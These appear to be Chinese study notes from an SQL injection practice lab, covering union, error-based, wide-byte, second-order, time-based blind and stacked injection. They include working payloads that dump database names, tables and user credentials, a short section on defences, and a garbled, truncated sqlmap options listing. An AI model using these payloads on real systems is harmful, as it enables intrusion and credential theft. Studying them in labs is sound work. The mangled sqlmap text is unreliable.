# SQL 注入
SQL 注入原理:
可控变量代入数据库查询,并且变量为存在过滤或过滤不严谨
schema()可以将当前数据库名称显示
靶场 1-4 关:总结闭合的方式
’
')
‘’
‘’)
不闭合
secure_file_priv
可以设置如下这样进行设置:
设置为空,那么对所有路径均可进行导入导出。
设置为一个目录名字,那么只允许在该路径下导入导出。
设置为 Null,那么禁止所有导入导出。
# 联合注入 SQL
SQL 注入的判断方式:
在参数后加单引号,查看是否存在 sql 语法报错,如 “ **sql syntax**
”
插入简短的 payload,查看响应结果是否复合预期; **and 1=1**
页面正常, **and 1=2**
页面异常; **and sleep(5)**
,确认 sql 注入点
**order by ? **
确定当前网站对接的数据库下的这张表(当前网页使用的这张表)的列数;从 1 一直往后递增,一直到页面出现报错,或者其他的异常情况,那么最后一次正常回显页面的最大数字就是当前表的列数; order by 3 正常; **order by 4**
异常;当前表的列数就是 3 列;
**union select**
确定有没有回显的点; **id = -1' union select 1,2,3 --+**
,让前面的查不出来值,那么联合查询后面的值就会作为网站输出页面中被取的值;当 **id=-1**
时,未能在原本的表中查询到对应的信息,那么就会查询到后面的 select 语句中的值,如果 2 能够在页面中显示,那么说明 2 这个位置(一行一列的单元格可以显示内容);确定网站中注入的回显点!
在存在回显点的地方,插入自定义的攻击代码,比如 **schema()**
;可以将当前网站的数据库名称在网页中显示出来。
继续利用,将 **schema()**
换成其他的查询代码,以获取更多信息;
a. 确定表名;
b. 确定列名
c. 根据查询到的表名和列名,查询具体的数据
# 判断是否存在注入点
# 判断字段数
1 id = 1 ' order by 1-99 --+ # 假设有三列回显
# 确定回显点
1 id = -1 unicon select 1 ,2 ,3 # 假设在2 中有注入点
# 探测数据库名称
1 id = -1 ' union select 1,database(),3 --+ # security
在 mySQL 中 5 以上, mysql 默认在数据库中存放在一个叫 infomation_schema
里 面 ,这个库里面有很多表 重点是这三个表 columns 、tables、SCHEMATA
表字 段 CHEMA_NAME
记录着库的信息
# 判断数据库中的表
1 id= -1 ' union select 1, (select group_concat(table_name) from information_schema.`TABLES` where table_schema = schema()) ,3 --+
# 判断列
1 id= -1 ' union select 1, (select group_concat(table_name) from information_schema.`TABLES` where table_name = ' users') ,3 --+
# 根据列表名和列名,查具体数据
1 id= -1 ' union select 1, (select group_concat(username,' - ',Password) from users) ,3 --+
总结:
SQL 注入的目的是为了获取数据库中的信息
简单测试注入时先在搜索框中使用万能语句进行判断如: id = 1' or 1 = 1 --+
如果显示与当前页面内容一致,则说明存在 SQL
注入
在判断存在注入后,使用 order by 1-99
对字段进行探测( order by
表示按第几列进行排序)。判断出当前网页中的数据库中的表有几个字段 (判断当前表中的列数),
这里使用 order by
的目的在于, order by
在判断出存在几个字段后,使用 union
联合查询,确认回显位置
# 报错注入 (1,5,6)
xml:可以存放数据,存放 http 协议之间传输信息,大型框架的配置文件(yml,config,ini…)
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数: XML_document
是 String
格式,为 XML
文档对象的名称,文中为 Doc。(更新哪个 xml,更新 xml 在什么地方,更新成什么值)
第二个参数: XPath_string
(Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
第三个参数: new_value
, String
格式,替换查找到的符合条件的数据
# 报错注入是在第二个参数中发生,原因?
因为在执行 updatexml () 函数时,会先检查 XPath 语法是否合规,如同写 java 代码一样,先对语法进行检查
# 什么是 poc,explpit ,payload
一段能够利用漏洞并且具有攻击性的代码称之为 poc
操作系统级别的漏洞为 exloit
一段利用漏洞的代码,载荷 —> payload
# 为什么能使用报错注入?
因为开发人员在开发时,将 print_r(mysql_error());
写入代码当中,如果将这句代码注释掉或者进行替换则前端将不再显示错误信息
# “~”–> 十六进制:0x7e,它的作用?
作用是占位符标记开头和结尾,如果没有这个占位符则报错信息将会显示不完全,但是这里不一定是 “~”,还可以用其他符号代替.
可以没有后面占位符,但是不能没有前面的占位符
# select version () ----> 显示当前数据库版本号信息
select updatesml (xml 标记位置,Xpath 路径,需要修改的内容)
备注:如果 select version ()两端不加括号的话,就会与 concat () 中前一个占位符和后一个占位符进行一个字符串拼接。
1 id = 1 ' and/or updatexml(1, concat(' [', (select version()), ' ]'), 3) --+ # XPATH syntax error: ' [5.7 .26 - log]'
# floor () 报错函数
floor () 函数作用:是不管四舍五入都进行向下取整
# 总结 (有几个参数每个参数代表什么,为什么能发生报错注入漏洞,为什么要在 concat 前面要拼接字符,不拼接会发生什么,能拼接以哪种形式可以拼接那种不能拼接):
1 SELECT updatexml(1 , concat('a' ,(select group_concat(table_name) from information_schema.`TABLES` where table_schema = SCHEMA())), '~' )
1 SELECT updatexml(1 , concat(1 ,(select group_concat(table_name) from information_schema.`TABLES` where table_schema = SCHEMA())), '~' )
1 SELECT updatexml(1 , concat('~' ,(select group_concat(table_name) from information_schema.`TABLES` where table_schema = SCHEMA())), '~' )
1 SELECT updatexml(1 , concat('/' ,(select group_concat(table_name) from information_schema.`TABLES` where table_schema = SCHEMA())), '~' )
1 SELECT updatexml(1 , concat('\\' ,(select group_concat(table_name) from information_schema.`TABLES` where table_schema = SCHEMA())), '~' )
# 宽字节注入 (冷门注入方式)(32)
WAF 为 web 应用防火墙,WAF 当中存放着各种各样的正则表达式
%27:为单引号
‘’:%5c
% df%5C:運
目前 SQL 中存在逻辑漏洞
宽字节是相对于 ascII 这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节
GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用 2 个字节。一个 utf-8 编码的汉字,占用 3 个字节
转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠 “\” 进行转义;Mysql 中转义的函数 addslashes,mysql_real_escape_string,mysql_escape_string 等,还有一种是配置 magic_quote_gpc,不过 PHP 高版本已经移除此功能
总结:
宽字符注入是一种编码转换上存在的漏洞,一般 SQL 在设置编码是会开启过滤特殊字符,比如 ’ ') ‘’),一般这种漏洞存在于 php 前端页面编码与数据库编码不一致所导致。 要有宽字节注入漏洞,首先要满足数据库后端使用双 / 多字节解析 SQL 语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C (01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的,UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)。 换句话说假如 php 前端页面数据和后端 SQL 编码都采用 UTF-8 或者 GB2312 编码就不存在宽字节注入
在宽字节注入时,注入逻辑和联合注入逻辑相似,只是在宽字节注入时需要对单独的引号做 % df%5C%27 用来逃避 SQL 设置的过滤特殊字符设置 如: id=-1%df%5C%27 or 1 = 1
。SQL 中常见的转义设置与配置 addslashes、mysql_real_escape_string、mysql_escape_string、php.ini 中 magic_quote_gpc 的配置
在联合查询中,需要将联合查询语句当中引号当中的内容转为 16 进制
1 id= -1 % df% 5 C% 27 union select 1 , (select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 and table_schema = 0x7365637572697479 ) ,3
# 二次注入(24)
使用正常功能插入数据
echo '\'' ---->'
原理:在一次注入是数据中存在非法字符,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成 SQL 的二次注入。
例如:在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
二次注入的目的
二次注入为什么会生效:
用户从前端输入数据库中的一个用户名 (用户名必须是数据库当中的) 并且在用户名后面跟上转义字符,比如数据库中的用户名 Tom 在新的注册页面上输入 Tom'#
/ Tom'--空格
然后在修改密码,如果修改密码成功页面成功,就说明 Tom'#
修改的密码是数据库中原有 Tom 的密码,不是 Tom’# 的密码,之所以会出现这种情况是因为注入点发生在 Tom 和 #
/ --空格
之间的 '
,因为 '\''
转义后输出为 '
,
#
/ --空格
会把后面内容注释, '
会和 'Tom
组成数据库中原有的 Tom 并且第二次注册的 Tom'#
依然可以登录
1 2 3 SELECT username FROM `users` WHERE username = 'username' and curr_password = '$curr_password' # 原有SQL SELECT username FROM `users` WHERE username = 'Tom' #' and curr_password =' $curr_password' # 修改 SELECT username FROM `users` WHERE username = ' Tom' -- ' and curr_password = '$curr_password'
过程:
账户原有用户
添加新用户:
以新用户登录
修改密码
查看数据库,实际修改的密码为数据库中原有 Tom 的密码
# 延迟注入(9,10)
有单引号闭合叫:字符型闭合
没有单引号和括号叫数字型注入
id = -1’ and if ((substr (schema ()) ,1,1) = ‘a’, 条件为真,条件为假 )
先猜长度再猜值
length 对字符串的标点也要进行统计
在写脚本时为什么先获取长度?
因为,在黑盒测试下,攻击者不清楚数库中的信息,所以需要对数据库名称进行一个个探测,写脚本是用循环不清楚要循环多少次才能测试出整个数据库名称,假如先获取当前数据库名车长度然后根据长度在做循环,就可以简化脚本运行时间提高效率。简而言之获取长度是为了知道脚本再什么时候停止运行。
再获取表中字段时,为什么 tmp = '' 要放在 for 循环外面
因为如果放在 for 循环里面,tmp = '' 都要初始化,每循环一次,就初始化一次,导致循环结果放不到 tmp 当中
延迟注入
在测试过程中,攻击方对目标目标数据库任何信息不知道的情况,在搜索框或者抓包之后看不到 SQL 语句的执行状态,只能从网页页面上的变化来推断出插入的 SQL 注入是否生效。在这种情况下可以使用盲注的方法进行对目标探测。延迟注入也是盲注的一种。
先用正常参数进行探测,发现返回 You are in…
在使用闭合方式 + order by 进一步探测是否可以使用延迟注入,发现使用闭合方式 + order by 于正常输入参数返回结果一致,此时可以判断这里存在延迟注入
使用 if()
, length()
, substr()
这三个依次对表的长度 -> 表名,表中列的长度,表中内容表中列的字段,输入列名后列中所有内容长度,最后查询表中信息
1 http:/ / localhost/ Less-9 / ?id= 1 ' and if( substr(schema() , 1 , 1)=' s' , sleep(10) , sleep(0)) --+
# 堆叠注入(38)
为什么前面关卡不能用堆叠?
这是源代码层面的问题,堆叠注入时源代码使用 mysqli_multi_query () 函数,这个函数可以执行多个查询,而之前用到是 mysql_qurery () 只能执行一条查询语句
在堆叠注入时,我们可以在前后闭合的情况下,在每个查询语句后面加分号在加上一条查询语句。
# 数据外带
前提:MySQL 所在主机可以出网,mySQL 打开了相关权限
# 防范 SQL 注入
# 预编译
对前端输入进来的 SQL 语句进行转义
PHP 中使用 PDO 进行预编译,PDO 是 PHP 中的一个类
java 中预编译类:创建 preparedStatement 对象,SQL 语句中在需要数据的地方用 "?" 占位,然后使用 set () 方法对占位进行填充,最后用 executeUpdate () 进行执行
预编译技术不能百分百防御 SQL 注入
# 转码 (转义)
mysql_real_escape_string ()—— 这个方法在 PHP 中已经过时,这个方法只在 UTF-8 的编码下生效
# 正则表达式 (简单粗暴,但是效果得看具体情况)
正则表达式匹配特殊字符,匹配到特殊字符后将其替换位空,或者拒绝执行 SQL 语句
PHP-preg_replace 方法
java-Pattern 类
Go-Regexp 类
Python-re 包
# 补充:
# 搜索框注入
http://localhost:8080/blog/new.php?search=百度%'union+all+select+1,database(),2,3 and '%'='
1 2 3 4 5 6 7 ##### Json格式注入 - ``` http: 使用Post提交,data数据如下: json={"username" :"admin'and 1=2 union select 1,2,3#" }
# 其他注入方式
后台要记录操作访问 IP
IP 要进行代码获取,获取到之后,IP 有一定概率会记录到数据库当中,如果 IP 能自定义数据,就可以尝试注入
网站要根据用户的访问设备给予显示页面
接受访问的 UA 信息,将各种 UA 信息进行数据整理,用户访问后对比数据库中 UA 值来进行判断
网站要进行文件上传或者用户登录
由于文件上传可大可小,如果采用 GET 则无法满足传输条件,URl 长度限制会触发,所以一般会采用 POST
用户登录,接收到账号和密码后会带入后端数据库当中进行对比。可以尝试注入
在数据包中添加 X-Forwarded-For: 伪造的IP地址
如果页面
# SQLmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 用法:python sqlmap.py [选项] 选项: - h, - hh 显示高级帮助信息并退出 - v VERBOSE 输出信息详细程度级别:0 -6 (默认为 1 ) 目标: 至少提供一个以下选项以指定目标 - u URL, - d DIRECT 可直接连接数据库的地址字符串 - l LOGFILE 从 Burp 或 WebScarab 代理的日志文件中解析目标地址 - m BULKFILE 从文本文件中获取批量目标 - r REQUESTFILE 从文件中读取 HTTP 请求 - g GOOGLEDORK 使用 Google dork 结果作为目标 - c CONFIGFILE 从 INI 配置文件中加载选项 请求: 以下选项可以指定连接目标地址的方式 - A AGENT, - H HEADER, 有些网站在你连续多次访问错误地址时会关闭会话连接, 后面的“请求”小节有详细说明) "import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 以下选项用于优化 sqlmap 性能 - o 开启所有优化开关 注入: 以下选项用于指定要测试的参数, 提供自定义注入 payloads 和篡改参数的脚本 - p TESTPARAMETER 指定需要测试的参数 数据库管理系统)类型(例如:MySQL) 检测: 以下选项用于自定义检测方式 技术: 以下选项用于调整特定 SQL 注入技术的测试方法 B: Boolean - based blind SQL injection(布尔型盲注) E: Error- based SQL injection(报错型注入) U: UNION query SQL injection(联合查询注入) S: Stacked queries SQL injection(堆叠查询注入) T: Time - based blind SQL injection(时间型盲注) Q: inline Query injection(内联查询注入) 推荐阅读《在SQL 注入中使用DNS获取数据》 http:/ / cb.drops.wiki/ drops/ tips-5283. html, 在后面的“技术”小节中也有相应解释) 该选项用于 SQL 二阶注入) 指纹识别: - f, 枚举: 以下选项用于获取后端 DBMS 的信息,结构和数据表中的数据 - a, - b, - D DB 指定要枚举的 DBMS 数据库 - T TBL 指定要枚举的 DBMS 数据表 - C COL 指定要枚举的 DBMS 数据列 - X EXCLUDE 指定不枚举的 DBMS 标识符 - U USER 指定枚举的 DBMS 用户 暴力破解: 以下选项用于暴力破解测试 用户自定义函数注入: 以下选项用于创建用户自定义函数 访问文件系统: 以下选项用于访问后端 DBMS 的底层文件系统 访问操作系统: 以下选项用于访问后端 DBMS 的底层操作系统 访问 Windows 注册表: 以下选项用于访问后端 DBMS 的 Windows 注册表 通用选项: 以下选项用于设置通用的参数 - s SESSIONFILE 从文件(.sqlite)中读入会话信息 - t TRAFFICFILE 保存所有 HTTP 流量记录到指定文本文件 杂项: 以下选项不属于前文的任何类别 - z MNEMONICS 使用短助记符(例如:“flu,bat,ban,tec= EU”)